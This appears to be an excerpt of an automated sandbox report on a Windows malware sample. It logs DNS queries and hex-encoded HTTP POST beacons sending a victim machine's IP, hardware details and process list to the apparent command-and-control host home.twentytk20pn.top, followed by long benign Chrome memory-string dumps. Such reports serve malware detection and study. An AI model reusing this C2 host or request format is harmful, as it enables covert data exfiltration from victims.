22 f0 bd 68 08 67 53 12 83 d5 bc 21 6f 0a 45 45 fc f3 62 c7 4e 2d c9 18 f0 86 90 a8 4a a9 d9 1a 6e 4e 75 aa 79 99 a1 3e 5d 18 bb 76 42 54 65 74 5a 7c 3d e8 6a 89 28 82 1c 0e ff 27 e6 64 14 cb d7 1f 2d 46 21 10 9b de 65 40 b4 3d 95 99 7d 38 a7 16 ff af c0 b7 b1 58 76 af 7d be 16 30 79 87 f5 4f 01 75 27 29 65 82 a7 b2 db f1 f5 a4 57 26 4b 16 31 a1 9a 5f 87 cb 62 3f 19 9d f5 88 44 a5 1d dd da 95 99 90 b1 ce 9f d4 79 4a 50 05 f8 46 a0 cb e9 33 18 84 c9 70 16 d0 a5 46 e0 8b b6 44 aa 85 87 74 3b a0 68 1c 2f 8a 3c 7e c8 05 97 3f f9 dd a7 f6 f0 d3 37 d2 07 9a 97 2f ec 9c 0b fc 62 d3 e3 e6 3c 60 d0 99 0e 39 06 d2 d7 88 f7 a0 e4 69 29 a2 10 16 03 e9 66 12 1f 0f 62 94 e7 5a 03 e3 9f f7 63 4c ab 04 14 8d fb 80 77 c7 26 e2 2f 9a cd 9e 21 03 30 fb f5 6b 8f c1 e9 3f d9 3c ea fe 8a 8b b9 29 0f e0 73 3d a7 73 ba 32 16 87 75 2b df ae b1 b6 6b cc a0 bb 86 ce a1 69 ec 77 dc cb 66 a5 80 e5 3d 86 d0 3d 3e 3c a2 b3 38 6f 74 dd 37 b4 8b df 49 de 62 dc 7e dd 97 e0 82 c5 a3 da 3c 1c c8 7b 3f 08 14 75 8f ad 64 11 37 41 a1 eb 06 e3 eb b4 69 3e a7 82 69 e8 11 c1 9e ad e5 05 72 c7 e0 5b 6c 32 85 ea ff 72 77 c9 5b 9a db f7 2d 7b 4e 6d 83 d7 06 ea 0e ac 04 3a a8 f2 e6 46 e4 01 a4 09 8a 7c e9 56 51 1b c0 c4 89 7b 6e b1 86 78 d0 91 cc fe fc c0 65 61 8c 5a 72 e9 70 c6 2b eb d8 77 89 b8 5b 67 a7 ad 81 88 61 ba d1 bf c4 95 98 e9 8f 55 c7 30 5f e2 2d d8 07 5f 0e 02 a2 88 64 65 11 03 e6 02 88 3d 43 b0 f9 48 34 d8 39 7a 79 fa 88 98 33 15 a4 a1 72 39 20 0e 05 09 5a bf 9a 51 3a d7 4e 9d d5 1a 79 7b b9 a1 25 75 90 c3 bc 40 6a bf 22 d5 aa 35 09 a5 76 ee 8a fa 3d a1 75 49 6b 65 98 4c 70 84 6c 0c 25 17 99 d2 a9 35 d7 6e 71 06 16 26 c8 f4 da 4b 0f 1d 00 5b 2e 88 30 21 db 1c 83 7f 12 01 0a 07 fd 17 11 4f 42 8c a3 77 45 b3 cf fe 56 b4 25 04 d2 20 c3 b5 96 cd 7c 52 f9 a1 70 ca 31 ac e6 10 fc a6 33 63 f5 1f 02 f7 dd 56 be c7 7a 4f de 53 b4 60 26 64 8c 9d a1 c8 56 d4 24 b3 26 be f0 2c 17 f0 1b 3c 56 15 e2 e9 e4 86 0a 82 56 a1 5c 6d df 26 53 ee 9c b6 27 c1 d5 d3 4a ca 30 bb 90 ff 01 bd 8f 34 1b 61 ce 2c d1 7a 7a 51 6c f6 31 1f b0 4c da 44 35 a6 a9 37 39 d7 ec e9 12 6a fc f9 a7 45 87 bb 32 90 08 8b 17 fd 96 13 69 8f 4c 5f 9c b8 d5 24 89 fe af 30 ee be e1 be 73 76 79 b0 07 a5 59 ce ce bc a3 b3 3e d1 e8 57 22 1e 4e ee 12
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 51 6c 61 6f 7a 50 6d 63 43 75 50 41 67 71 34 77 31 37 33 34 35 39 31 36 35 33 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "QlaozPmcCuPAgq4w1734591653", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653 HTTP/1.1Host: home.twentytk20pn.topAccept: /

Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824397363.00004E8400C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1795935715.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795967355.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795722887.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1795935715.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795967355.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795722887.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1798646774.00004E8400F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1826252760.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaN equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1825488625.00004E8400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1824812893.00004E8400D50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 561505Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 31 36 34 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2

Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
